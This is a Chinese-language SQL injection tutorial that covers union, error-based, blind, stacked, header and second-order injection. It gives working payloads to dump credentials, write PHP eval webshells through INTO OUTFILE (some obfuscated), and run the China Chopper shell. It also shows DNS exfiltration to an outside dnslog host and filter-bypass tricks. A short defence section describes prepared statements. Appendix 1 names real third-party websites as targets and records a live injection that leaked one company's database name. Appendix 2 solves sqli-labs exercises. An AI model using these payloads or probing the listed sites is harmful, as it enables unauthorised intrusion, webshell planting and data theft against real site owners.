OWASPtop10——SQL注入
本文最后更新于 2024-07-26,文章内容可能已经过时。
SQL注入
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
一、SQL注入的概念
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息甚至获取系统的shell权限。
二、注入原理
SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。
三、SQL注入的危害
1、获取系统的数据
2、获取shell权限
拖库,getshell
四、SQL注入PHP靶场实例
1、通过登录注入或者通过文章详情查看注入
2、通过
select 1,2,3,4,5 into outfile '/opt/lampp/htdocs/articles-demo1-php/upload/muma1.php'
写入一句话木马(注意需要查看mysql的参数secure_file_priv,确保能够写入木马到php可执行目录)
3、通过菜刀和一句话木马连接服务器
以上SQL注入前提条件
1、mysql被允许写入文件到任何目录
2、apache的网站目录中存在允许任何人写入文件的目录
3、需要能找到网站中允许写入的目录
可以根据文件或图片上传的目录来尝试,还可以根据网站的登录页面地址http://192.168.86.128/articles-demo1-php/html/login.html来尝试
可以输入http://192.168.86.128/articles-demo1-php这样来展示出目录中文件和子目录的内容
这是极其危险的,相当于把网站整个目录都暴露出来了。
需要修改apache的配置文件,在禁止暴露目录内容
编辑apache的配置文件 /opt/lampp/etc/httpd.conf
找到标签 <Directory "/opt/lampp/htdocs">
里面的
Options Indexes FollowSymLinks ExecCGI Includes
把其中的 Indexes
去掉,那么这一行就变为了
Options FollowSymLinks ExecCGI Includes
注:(Indexes表示若当前目录没有index.html就会显示目录结构)
然后重启一下Apache服务,
/opt/lampp/xampp restart
这时候,再次访问http://192.168.86.128/articles-demo1-php/会发现已经被禁止了
五、SQL简单复习
limit
用法:显示查询结果中从第n条到第m条
union
用法:合并两个结果集,列数必须相同才能合并
order by
用法:根据列来把结果集排序
database()
函数:数据库名称
version()
函数:数据库版本
user()
:当前登录用户
group_concat()
函数:把多个结果行合并到一个字段里
concat_ws()
函数:把多个列的值合并在一起,并且用指定的分隔符分开
concat()
函数:拼接多个字符串
sql语句如何注释:
select/*被注释内容*/CONCAT_WS(',',username,passwd,role) from tb_user where id=1;
select CONCAT_WS(',',username,passwd,role) from tb_user -- where id=1;
select CONCAT_WS(',',username,passwd,role) from tb_user # where id=1;
information_schema数据库:保存了mysql数据库中的所有信息(元数据)
select table_name from information_schema.tables where table_schema=database();
select * from information_schema.COLUMNS where table_schema=database() and table_name='tb_user';
sql拼接
六、SQL注入类型
1、查询注入
(1)数字型
select * from userinfo where id=1;
(2)字符型
select * from userinfo where username='admin';
(3)搜索型
select * from userinfo where username like "%ad%";
- 注入步骤:
首先要探测是否有注入点,绝大部分情况我们是可以通过输入不同的条件,查看页面的不同反应来判断是否系统重存在注入点。
(1)在页面或者url中输入单引号。确认页面是否有报错。如果有报错,再在引号后面添加注释(-- -),确认页面报错不再出现。
(2)如果第一步不成功,则换一种数据类型尝试,输入 1 or 1=1 和1 or 1=2,确认页面内容显示是否有差异。如果有区别,则可以确认该数据使用了数字类型。
(3)确认了数据类型,尝试sql注入.获取字段数。通过order by 数字。如果报错,则相邻的前一个数字就是准确的字段数。
id = 1 order by 3 -- -
(4)通过union,拼接查询结果。确认哪些字段在页面上有回显。
id=1 union select 1,2,3,4,5 limit 1,1-- -
id=-1 union select 1,2,3,4,5 -- -
(5)获取数据库名字:database() 获取角色信息 user() 获取版本信息version()
id=-1 union select 1,database(),user(),version(),5 -- -
(6)拖库。
--获取当前数据库中的所有表名
payload:
zhang' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),3,4,5,6,7,8,9 limit 1 -- --
对应的sql语句:
select group_concat(table_name) from information_schema.tables where table_schema=database();
--获取某一个表中所有列名
payload:
zhang' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='tb_user' ),3,4,5,6,7,8,9 limit 1 -- --
对应的sql语句:
select * from information_schema.columns where table_name ='tb_user';
--把表中的数据取出一行
payload:
zhang' union select 1,(select concat_ws(',',id,username,passwd,avatar,role,cellphone,loginfailcount,locked,lockedtime) from tb_user limit 2,1 ),3,4,5,6,7,8,9 limit 1 -- --
对应的sql语句:
select concat_ws(',',id,username,passwd,avatar,role,cellphone,loginfailcount,locked,lockedtime) from tb_user limit 1;
(7)拼接查询数据
第一:concat拼接
select concat(id,xx,xxx,xx) from 表
第二:group_concat把多行拼接为一个字段:
select group_concat(distinct role order by role desc SEPARATOR ":" ) from 表
第三:concat_ws把多个列合并在一起
select concat_ws("=",id,xx,xx,x,xx) from 表
-
getshell
(1)文件读写权限
secure_file_priv 数据库的全局属性:
在my.cnf/my.ini文件配置 secure_file_priv= 表示开启任意文件读写权限 secure_file_priv=/xxx/xxx 限定读写范围 secure_file_priv=null 没有开启权限。
(2)任意文件的读操作
select load_file(路径); payload: php?id=-1 union select 1,2,(select load_file("/etc/passwd"))
(3)写操作
into outfile "路径" 路径必须具备其他用户写权限。
payload: .php?id=1 union select 1,"<?php eval($_POST['code']);?>",3 into outfile "/opt/lampp/htdocs/secure21/images/mm.php"
可以通过浏览器访问mm文件:
http://192.168.32.129/secure21/images/mm.php post正文: code=phpinfo(); code=system();
(4)getshell工具使用
-
必要条件:在web 服务中,必须存在含有一句话木马的文件,通过http协议访问木马文件。
-
木马必须使用post请求。
<?php @eval($_POST['code'])?>
-
工具连接
-
中国菜刀攻击脚本特征:
code = @eval(base64_decode($_POST[z0]));
z0 = @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();
z1 = /opt/lampp/htdocs/secenvs/sqlilabs/Less-12/
2、错误注入
概念:利用sql的报错信息,进行拖库
前提:程序中把sql语句执行的报错信息打印到了前端页面上
场景:sql语句执行的错误被输出到前端页面,可以用于修改操作,也可以用于查询操作
局限性:当错误信息太长,可能会无法一次性的显示完整,需要多次尝试
- extractvalue
这个函数是mysql中从一段xml字符串中取出某些节点内容
语法:extractvalue(xml内容,节点的路径)
,如果节点中的路径以数字开头就会报错
select extractvalue("<user><name>zhangsan</name></user>",concat('1',database()))
select extractvalue(1,concat(1,database()));
- updatexml
这个函数是mysql中把一段xml片段更新到数据库中
语法:updatexml(被更新字段名,xpath,更新后的内容)
update permission set url=updatexml(1,concat(1,database()),1)
select updatexml(1,concat(1,database()),1)
payload
http://localhost/articles-demo1-php/php/article_detail.php?id=-24 and updatexml(1,concat('1',database()),1) -- -
- floor(rand(0)*2)
select count(*),(floor(rand(0)*2)) x from users group by x
payload:
select count(*) ,concat(floor(rand(0)*2),0x7e,database()) as tmp from permission group by tmp;
group by的原理:
https://www.cnblogs.com/kjcy8/p/16413428.html
练习:用python写一段程序进行拖库操作
3、盲注
在做注入时候,如果页面没有任何反馈信息,可以使用盲注
- 布尔盲注
一般来说,页面不会反馈信息,但是会有提示成功或失败两种结果。比如注册新用户时候,检查用户名称是否存在,只有存在和不存在两种可能的结果,这种可以用布尔盲注。
length函数 --length(database())
先猜数据库名称的长度
substr函数 --substr(database(),1,1)
遍历字母表,一个个的字母比较,猜测数据库名称
手工操作太麻烦,使用python爆破
- 时间盲注
系统什么都不返回或者都返回同样的信息。考虑使用时间盲注
sleep函数
if(length(database())=7,sleep(3),1);
可参考sqlilabs中的lession15来测试
4、更新注入
使用场景:记录从哪个渠道来到目标站点的,例如:从百度搜索过来到目标站点页面,那么url后面会带着一些特殊参数,标记渠道来源
实例:登录页面的url后面带着参数,代表跳转的渠道,当登录页面显示出来的时候,就把参数和值,添加到数据库的表中。
SQL语句:
insert into test(content) values('zhang' or updatexml(1,concat(1,database()),1)) -- -')
payload:
http://localhost/info.php?username=zhang' or updatexml(1,concat(1,database()),1)) -- -
如果insert中只有一个字段或者被注入的字段是在insert中的最后一个字段,可以用上面的payload,但是如果被注入的不是在最后,而且有其他字段存在,那么上面的payload会导致sql语法问题,需要使用下面的payload
SQL语句:
insert into test(content) values('zhang' or updatexml(1,concat(1,database()),1) or '')
payload:
http://localhost/info.php?username=zhang' or updatexml(1,concat(1,database()),1) or '
5、堆叠注入
使用场景:批量更新或删除的时候,使用的机会不是很多
前提:数据操作使用 mysqli_multi_query(conn,sql)
,另外需要对数据库的表比较了解
用途:可以修改用户密码,添加新用户
SQL语句:
delete from tb_articles where id=1;insert into tb_user(username,passwd,avatar,role,cellphone) values('woniu','123','ss','admin','11');delete from tb_articles where id=2;
payload:
ids[]=2&ids[]=1;insert into tb_user(username,passwd,avatar,role,cellphone) values('woniu','123','ss','admin','11')
6、二次注入
使用场景:在注册用户的时候,对用户名使用了 addslashes
函数进行防护,所以我们使用 admin' -- -
作为用户名称来注册一个新用户的时候,保存到数据库中的用户名就是 admin' -- -
但是对用户进行密码更新的时候,忘记了堆用户名使用 addslashes
防护。在更新密码的时候,需要服务器端使用的更新语句如下样子:
update tb_user set password='新密码' where username='用户名'
--如果用户名是admin' -- - 那么更新语句就变成了,此时就把管理员的密码给修改了
update tb_user set password='111' where username='admin' -- -
整体来说,这种注入方式要求的场景比较苛刻。
7、宽字节注入
GBK编码:https://web.100xgj.com/gbkbianma/
ASCII表:https://tool.oschina.net/commons?type=4
场景:
- 后台数据库操作设置的编码为gbk
mysqli_set_charset($link,"gbk");
- 使用addslashes对单引号做了转义
$username=addslashes($username);
注入原理:
url请求:http://localhost/info.php?username=a%DF' or 1=1 -- -
在payload中增加DF是一个字节,当 addslashes($username)
后,就会把单引号前面增加反斜线,然而,这个反斜线的十进制编码在ascii表中是92,换算成16进制是5C,那么5C和前面的DF放在一起正好是两个字节:DF5C
,在GBK的编码下,就会放在一起被解释为一个汉字,这样的话,反斜线后面的单引号就和前面的单引号形成了闭合。
可以看出,宽字节注入的场景要求也非常苛刻,现在的后台系统,绝大部分都是utf8的编码,很少有设置为GBK的。
8、解码注入
URL编码:
URL中的特殊字符转换成一种安全的形式,以便在URL中安全地传递和显示这些字符。在URL中,某些字符具有特殊含义,例如空格、问号、等号、哈希符号等。如果不对这些特殊字符进行编码,直接使用可能会导致URL解析错误或产生意外的结果。因此,需要通过某种方式将这些特殊字符转换成特定的编码格式,以确保URL中的特殊字符被正确传递和解析,从而避免URL参数错误或安全问题。
URL编码通常采用百分号(%)加上两个十六进制数字的方式来表示被编码的字符。
利用场景:
程序员对参数进行了一次 addslashes
函数转义操作,之后,又手动使用 urldecode
函数对字符进行二次解码,在解码后不再对单引号进行转换。
漏洞利用过程:
//请求地址
http://localhost/hz02/posts/details.php?id=35%2527 or 1=1 -- -
注意在参数传值的时候,我们传入了35%2527%20or%201=1%20--%20--
注意%2527,在url编码中,%25代表%,%27代表单引号
到了服务端之后,经过第一次urldecode后变成a%27 or 1=1 -- --
经过第二次urldecode后就变成了35' or 1=1 -- --
这样就可以跟前面的单引号形成闭合
服务端代码
<?php
// http://192.168.248.128/goods/test.php?username=zhangsan%27 or 1=1 -- -
//GET , POST ,REQUEST自动进行了一次urldecode操作
$username = $_GET['username'];
echo $username;
echo "<br>";
//防止sql注入,对某些字符串做了转义
// http://192.168.248.128/goods/test.php?username=zhangsan%27 or 1=1 -- -
$username2 = addslashes($username);
echo $username2;
echo "<br>";
//这句话纯属多余,造成sql,这里的urldecode把上面的%27转成了单引号,造成了sql注入
// http://192.168.248.128/goods/test.php?username=zhangsan' or 1=1 -- -
$username3 = urldecode($username2);
echo $username3;
echo "<br>";
$sql = "select * from user where username = '$username3'";
echo $sql;
echo "<br>";
?>
9、头注入
Referer
是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
X-Forwarded-For
简称XFF头,它代表客户端,用于记录代理信息的,每经过一级代理(匿名代理除外),代理服务器都会把这次请求的来源IP追加在X-Forwarded-For中。
Cookie
有时也用其复数形式 Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。
X-Real-IP
一般只记录真实发出请求的客户端IP。
Accept Language
请求头:允许客户端声明它可以理解的自然语言,以及优先选择的区域方言。
User Agent
中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
Accept
代表客户端希望接受的数据类型,数据类型中的先后次序表示客户端接受的先后次序。
概念:就是在http请求头中注入恶意代码,实现拖库或getshell
http包头
:请求的基本信息,请求的长度,编码,请求来源,ip地址,数据格式等等
http包体
:请求的主要内容
三个主要的包头:
HTTP_REFERER
:请求是从哪个地址过来的
REMOTE_ADDR
:发出请求的客户端的ip地址
X-FORWARDED-FOR
:记录原始发请求方的IP地址。
使用 X-FORWARDED-FOR
来记录请求方的原始地址,所以用这个来演示一下:
步骤:
- 用burpsuite来拦截一个请求,并且修改请求头,添加一个请求头:
X-FORWARDED-FOR: a' and extractvalue(1,concat(1,database())) and '
- 服务端接收这个请求头的代码
$oip = $_SERVER['HTTP_X_FORWARDED_FOR'];
- 把收到的值添加到数据表中记录起来,sql语句如下
$sql = "insert into test(content) values('$oip')";
在burp的响应中能看到报错信息:
mysqli_sql_exception: XPATH syntax error: 'posts'
这样就知道了数据库名称。
10、DNS外带
申请一个免费的域名,点击页面上的Get SubDomain按钮,即可申请到域名
http://dnslog.cn/
这个网页上,每次访问域名,都会有记录日志,我们可以利用mysql中的load_file来拼接数据库名称到域名前面。并且在日志中打印出来。
具体操作步骤:
- 先确保mysql的参数secure_file_priv=没有赋任何值
- 执行如下sql语句
select load_file(concat("//",database(),".eblk5p.dnslog.cn/1.txt"));
回到上面的网页中,点击Refresh Record按钮,这样可以看出,第一条记录数据库名称test已经出现
注意:上面这个操作需要在windows上执行。
原理:
实际上我们用//开头,concat("//",database(),".eblk5p.dnslog.cn/1.txt")
拼接的结果是
//test.eblk5p.dnslog.cn/1.txt
这是利用了windows的文件访问协议,会把这个域名,发给域名服务器上去解析,这样就会在域名服务器留下日志。
大家也可以在自己的windows电脑上
输入下,并且回车,会看到打开了浏览器页面,去访问文件。
局限性:
- mysql的参数
secure_file_priv=
没有赋任何值 - 服务器必须是windows的
- 需要先搭建好dns服务,或者使用http://dnslog.cn/免费的dns服务
- dns服务需要支持二级域名,三级域名
- 能够处理的字符串数量有限,有的特殊字符可能无法处理
11、代码注入
执行传入的代码
eval()
<?php eval($_POST[c]);?>
assert()
$s = $_POST['a']($_POST['p']);
@assert($s);
assert和eval比较:
比较项 | eval | assert |
---|---|---|
WAF拦截 | 可能 | 一般不会,因为正常的php代码也需要 |
执行代码 | 可以 | 可以 |
是否支持动态变量 | 不支持 | 支持 |
assert支持动态变量的例子
http://localhost/hz02/1.php?a=system&b=ipconfig
<?php
$s = $_GET['a']($_GET['b']);
assert($s);
?>
//更复杂的例子
//一句话木马、小马
<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>
_GET
0000 1010
0100 1011
------------按位与运算-(两个都是1结果是1,否则是0)---
0000 1010
===============================
0000 1010
0100 1011
------------按位或运算-(只要有一个是1,结果就是1)---
0100 1011
===============================
0000 1010
0100 1011
------------按位异或运算-(相同为0,不同为1)---
0100 0001
解析:
(":"^"}") 这是个二进制异或, ":"ascii码值=>58=>进制:00111010
"}"ascii码值:125 =》二进制:01111101
两个二进制异或 = 00111010 ^ 01111101 = 01000111
01000111二进制代表的十进制是71, 71代表的ascii是大写字母G
最终解析出来:$_GET[0]($_POST[1]);
请求传入的参数: a=system&p=ls
12、命令注入
执行外部命令
1、system()//这个命令本身就有输出结果
//system($_GET['a']);
http://192.168.92.128/hz02/posts/test1.php?a=ipconfig
2、exec()//这个命令本身不输出结果,如果需要查看结果,使用echo exec()
//echo exec($_GET['a']);
// 也可以这样输出结果
<?php
exec($_GET['a'],$output,$res);
print_r($output);
?>
请求参数:
http://192.168.92.128/hz02/posts/test1.php?a=ls
3、passthru()
passthru("ipconfig")//直接把当前目录中的内容输出给浏览器
4、shell_exec()
echo shell_exec($_GET['code']); //需要echo回显结果,会显所有内容
5、preg_replace(): 正则替换。 修饰符`/e` 可以将字符串替换为代码。(php5.5以后不只支持)
$code=$_GET['code'];
$string='hello';
preg_replace("/o/e",$code,$string);
payload:
xxx.php?code=phpinfo();
七、绕过
(1)双写绕过
$username = $_POST['u'];
$username = str_ireplace("select","",$username);//把select去掉
$sql="select * from tb_user where username='$username' ";
payload:
u=a' union selselectect 1,2,3,4,5,6,7,8,database() -- -
(2)大小写绕过
$username = $_POST['u'];
$username = str_replace("select","",$username);//把select去掉
$sql="select * from tb_user where username='$username' ";
payload:
u=a' union SElect 1,2,3,4,5,6,7,8,database() -- -
(3)编码绕过
如果针对一些php的敏感字过滤,例如:php、eval,assert等,导致无法写入一句话木马,那么可以考虑把原始的木马代码进行编码绕过
原始payload:
u=a' union SElect 1,2,3,4,5,6,7,8,'<?php eval($_POST[a]);?>' into outfile '/opt/lampp/htdocs/mm/m1.php' -- -
使用 select hex('<?php eval($_POST[a]);?>')编码后的payload
u=a' union
SElect 1,2,3,4,5,6,7,8,0x3C3F706870206576616C28245F504F53545B615D293B3F3E into outfile '/opt/lampp/htdocs/hz02/posts/upload/m1.php';
(4)空格或制表符tab绕过(使用注释)
针对把空格制表符tab全部替换掉的情况,此时我们注入的sql语句中的空格会都被去掉,导致语法错误
$username = $_POST['u'];
$username = str_replace(" ","",$username);//把空格去掉
$username = str_replace(" ","",$username);//把制表符去掉
$sql="select * from tb_user where username='$username' ";
payload:
u=a'/**/union/**/SElect/**/1,2,3,4,5,6,7,8,/**/'<?php/**/eval($_POST[a]);?>'/**//**//**/into/**/outfile/**//**/'/opt/lampp/htdocs/mm/m1.php'/**/#
注意:最后的注释符号换成了#
(5)解码绕过
参考上面的解码注入。
八、防御
(1)通过 addslashes()
或者 mysqli_real_escape_string()
函数对特殊符号转义:
针对字符类型,由于把单引号加上转义符号,导致无法闭合,所以,该函数对字符型注入有很大的影响。
但是,如果是数字型,由于不需要引号闭合,只针对查询中的数据使用引号,可以通过十六进制方式绕过对引号的转义。
select * from table where name='aa' or 1=1 -- --'
insert into table (col1,col2) value('zhangsan' or exctracvale() or ' ---- -- ', '$val2')
如何获取十六进制数据:
select hex("字符串");
select hex('tb_user')--结果是74625F75736572
select unhex('74625F75736572')--结果是tb_user
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='tb_user'
等价于(注意在使用的时候,需要自己在74625F75736572前面增加0x表示16进制数据)
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x74625F75736572
(2)针对数字类型。可以通过强转整型的方式,将用户输入的所有非数字字符串去除。
$age = (int)$_GET['age'];
payload: age=1 and 1=1
echo $age; // 值为 1
如果payload改为age=m12 or 1=1
echo $age; // 值为 0
(3)对用户输入进行长度限制
$age = substr($_GET['age'],0,3);
payload: age=1 order by 3
echo $age; //1 order by
(4)替换关键字:select 、on、or 、and、 _ 、union、from
$username = $_GET['username'];
$username = str_ireplace("order"," ",$username);
$username = str_ireplace("and"," ",$username);
$username = str_ireplace("union"," ",$username);
$username = str_ireplace("select"," ",$username);
echo $username;
payload:
zhang' union select 1,database(),3,4,5,6,7,8,9 limit 1 -- -
(5)终极防御
使用mysql的预编译方式来操作数据库
<?php
include_once 'articles-demo1-php/php/dbinfo.php';
$username = $_POST['u'];
$passwd = $_POST['p'];
$sql="select * from tb_user where username=? and passwd=? ";
$link = mysqli_connect($dbhost,$dbusername,$dbpassword,$dbname,$dbport);
mysqli_set_charset($link,"utf8");//设置字符集
date_default_timezone_set("PRC");//设置时区
$pstmt = mysqli_prepare($link,$sql);//预编译
$params = [$username,$passwd];
//第一参数:statement类型的对象,第二个参数指语句中各个参数的类型,第三个参数就是真正要传给sql的参数
mysqli_stmt_bind_param($pstmt,"ss",...$params);
$flag=mysqli_stmt_execute($pstmt);
if($flag){
$result = mysqli_stmt_get_result($pstmt);
}
// echo $sql;
$row=mysqli_fetch_assoc($result);
if($row){
echo "<div>";
echo $row['username'];
echo "</div>";
echo "<div>";
echo $row['passwd'];
echo "</div>";
}else{
echo '<br>没有查询到结果';
// echo $sql;
}
mysqli_close($link);
?>
附录1:真实网址:
http://www.donghuasi.org/news_detail.php?id=1970
http://www.lfv.com.hk/tc/news_detail.php?id=94
https://www.mililink.com/journals_desc.php?id=59
https://www.fenixlight.com/product/index.php?id=37
https://innofader.com/products.php?id=1
http://www.hosen.cn/product.php?pid=500
http://www.i-chiun.com.tw/_cn/01_about/01_detail.php?ID=1
http://www.rgfchina.com.cn/a.php?id=68
https://astron.com.tw/about.php?id=2
http://www.embryohotel.com/room-detail.php?id=1
http://www.runhome.com.cn/singlenewsc.php?nid=-55 union select 1,database(),3,4,5,6,7%23
http://www.grand-tech.com.tw/news_01.php?id=-2 union select 1,2,database(),4,5,6%23
注入实测:
https://www.fenixlight.com/product/index.php?id=37 and extractvalue(1,concat(0x7e,database()))
返回结果:
Products Application Explore FENIX Support About Us
安全警告:MySql Error!
错误文件:/product/index.php
错误信息:XPATH syntax error: '~test_fenixlight_com_cn' Error sql: SELECT * FROM `pmw_infoclass` WHERE `id`=37 and extractvalue(1,concat(0x7e,database())) AND checkinfo='true'
安全警告:MySql Error!
错误文件:/product/index.php
错误信息:XPATH syntax error: '~test_fenixlight_com_cn' Error sql: SELECT * FROM `pmw_info` WHERE `classid`=37 and extractvalue(1,concat(0x7e,database()))
安全警告:MySql Error!
错误文件:/product/index.php
错误信息:XPATH syntax error: '~test_fenixlight_com_cn' Error sql: SELECT * FROM `pmw_infoclass` WHERE `parentid`=37 and extractvalue(1,concat(0x7e,database())) order by orderid asc
附录2:sqlilabs练习
/sqlilabs/Less-1/?id=1' and extractvalue(1,concat(1,database())) -- -
/sqlilabs/Less-2/?id=1 and extractvalue(1,concat(1,database())) -- -
/sqlilabs/Less-3/?id=11' and extractvalue(1,concat(1,database())))-- -
/sqlilabs/Less-4/?id=1" and extractvalue(1,concat(1,database()))) -- -
/sqlilabs/Less-5/?id=13' and extractvalue(1,concat(1,database())) -- -
/sqlilabs/Less-6/?id=1" or extractvalue(1,concat(1,database())) -- -
===
/sqlilabs/Less-7?id=1')) order by 3 -- - 先检测字段数、
/sqlilabs/Less-7?id=1')) union select 1,2,0x3c3f706870206576616c28245f504f53545b615d293b3f3e into outfile '/opt/lampp/htdocs/mm/t1.php' -- - 其中转码部分是一句话木马,不转码会报错,无法写入文件
===
/sqlilabs/Less-8/?id=1' and length(database())=8 --+ 先判断数据库名称的长度
然后使用遍历的方式,把8个字母依次遍历出来
===
/sqlilabs/Less-9?id=1' and sleep(3) -- -- 先探测是否有注入点,通过页面响应时间判断,可以注入
/sqlilabs/Less-9?id=1' and if(length(database())=8,sleep(3),0) -- --判断数据库名的长度
然后使用遍历的方式,把8个字母遍历出来
===
/sqlilabs/Less-10/?id=1" and sleep(3) -- - 先探测是否有注入点,通过页面响应时间判断,可以注入
/sqlilabs/Less-10/?id=1" and if(length(database())=8,sleep(3),0) -- --
===
sqlilabs/Less-11/ post提交的payload:
uname=a' or 1=1 -- -- &passwd=a&submit=Submit
===
/sqlilabs/Less-12/ post提交的payload:
uname=a") or extractvalue(1,concat(1,database())) -- -- &passwd=a&submit=Submit
===
===
/sqlilabs/Less-13/ post提交的payload:
uname=a') or extractvalue(1,concat(1,database())) -- -- &passwd=a&submit=Submit
===
/sqlilabs/Less-14/ post提交的payload:
uname=a" or extractvalue(1,concat(1,database())) -- -- &passwd=a&submit=Submit
===
/sqlilabs/Less-15/ post提交的payload:
uname=a' or sleep(2) -- -- &passwd=a&submit=Submit //先来探测是否有注入点
uname=a' or if(length(database())=8,sleep(2),0) -- -- &passwd=a&submit=Submit
uname=a' or if(substr(database(),1,1)='s',sleep(2),0) -- -- &passwd=a&submit=Submit
===
/sqlilabs/Less-16/ post提交的payload:
uname=a") or sleep(2) -- -- &passwd=a&submit=Submit //先来探测是否有注入点
uname=a") or length(database())=8 -- -- &passwd=a&submit=Submit
uname=a") or substr(database(),1,1)='s' -- -- &passwd=a&submit=Submit
===
/sqlilabs/Less-17/ post提交的payload:
//username没有注入点,只能使用页面给的Dhakkan,只能考虑password注入
uname=Dhakkan&passwd=1' or extractvalue(1,concat(1,database())) -- -&submit=Submit
===
/sqlilabs/Less-18/
//这个题目无法使用username和password注入,需要先登录进来,然后在用user-agent注入
1、请求头中的User-Agent后面加一个单引号,探测是否有注入点
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0'
2、查看源代码,有如下sql,这个语句中,把请求头user-agent的值insert到表中,后面还有两个列的值,不能把后面的给注释掉。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
3、测试一下如下语句是否可以成功添加,注意 ''和\'一样,都是单引号的转义,所以''''相当于一个单引号
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`)
VALUES ('' or extractvalue(1,concat(1,database())) or '', '192.168.1.1', 'zhangss')
4、最终的payload:
User-Agent: ' or extractvalue(1,concat(1,database())) or '
===
/sqlilabs/Less-19/ 参考第18题,把请求头换成Referer
最终的payload:
Referer: ' or extractvalue(1,concat(1,database())) or '
===
/sqlilabs/Less-20/
通过查看代码:
SELECT * FROM users WHERE username='$cookee' LIMIT 0,1
后端把cookie中的值拼接到sql语句中
所以构造cookie:
Cookie: uname=dhakkan' or extractvalue(1,concat(1,database())) -- -
===
/sqlilabs/Less-21/
通过查看代码:
$cookee = base64_decode($cookee);
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
这个题目是先要输入正确的用户名和密码Dumb/Dumb,登录后,会把用户名通过base64,然后放在cookie中返回
再次提交请求(注意要把submit参数删除,否则程序进入错误的分支),服务端从cookie中获取username来查询用户,需要构造一个cookie来注入,这个cookie的值是经过base64编码的
Cookie: uname=dW5hbWU9RHVtYicpICBvciAxPTEgIGxpbWl0IDAsMSAgLS0gLQ==; PHPSESSID=qdhuljskrngfqhigmqtaalff80【sessionid要自己登录获得】
实际base64编码前的值是:
Cookie: uname=Dumb') or 1=1 limit 0,1 -- -
以上是探测,注入的payload是:
Cookie: uname=dW5hbWU9RHVtYicpICB1bmlvbiBzZWxlY3QgMSxkYXRhYmFzZSgpLDMgIGxpbWl0IDAsMSAgLS0gLQ==; PHPSESSID=qdhuljskrngfqhigmqtaalff80
实际base64编码前的值是:
uname=Dumb') union select 1,database(),3 limit 0,1 -- -
============
/sqlilabs/Less-22/
通过看代码:
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
跟less-21差不多,这个题目是先要输入正确的用户名和密码Dumb/Dumb,登录后,会把用户名通过base64,然后放在cookie中返回
再次提交请求注意要把submit参数删除,否则程序进入错误的分支),服务端从cookie中获取username来查询用户,需要构造一个cookie来注入,这个cookie的值是经过base64编码的,但是cookie在base64_decode($cookee)之后,又增加了双引号。所以,注入的时候要闭合双引号:
Cookie: uname=RHVtYiIgb3IgMT0xIC0tIC0=
实际base64编码前的值是:
Dumb" or 1=1 -- -
以上是探测,真正的注入payload是:
Cookie: uname=RHVtYiIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzIGxpbWl0IDEsMSAtLSAt; PHPSESSID=qdhuljskrngfqhigmqtaalff80【PHPSESSID要自己登录获得】
实际uname base64编码前的值是:
Dumb" union select 1,database(),3 limit 1,1 -- -
====
/sqlilabs/Less-23/
查看代码:
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
只是把注释给替换掉了
注入的payload:
/sqlilabs/Less-23/?id=1' or extractvalue(1,concat(1,database())) or '
====
/sqlilabs/Less-24
这是典型的二次注入,先注册一个用户admin'#,密码设置为1,然后使用admin'#登录,并修改密码,此时更新语句$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "; 中的username就会使用admin,后面的被#注释掉,就把admin的密码修改了
===
/sqlilabs/Less-25
代码中是把or 和 and都替换掉了,我们可以使用||代替or,使用&& 代替 and 来做探测,但是&& 在url中需要做url编码%26%26
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
payload:
探测的时候,不能用or 和 and
/sqlilabs/Less-25/?id=1000' || 1=1 -- -
/sqlilabs/Less-25/?id=1000' union select 1,database(),3 limit 0,1 -- -
===
/sqlilabs/Less-25a/
这个跟Less-25,只是数字类型注入,不需要单引号
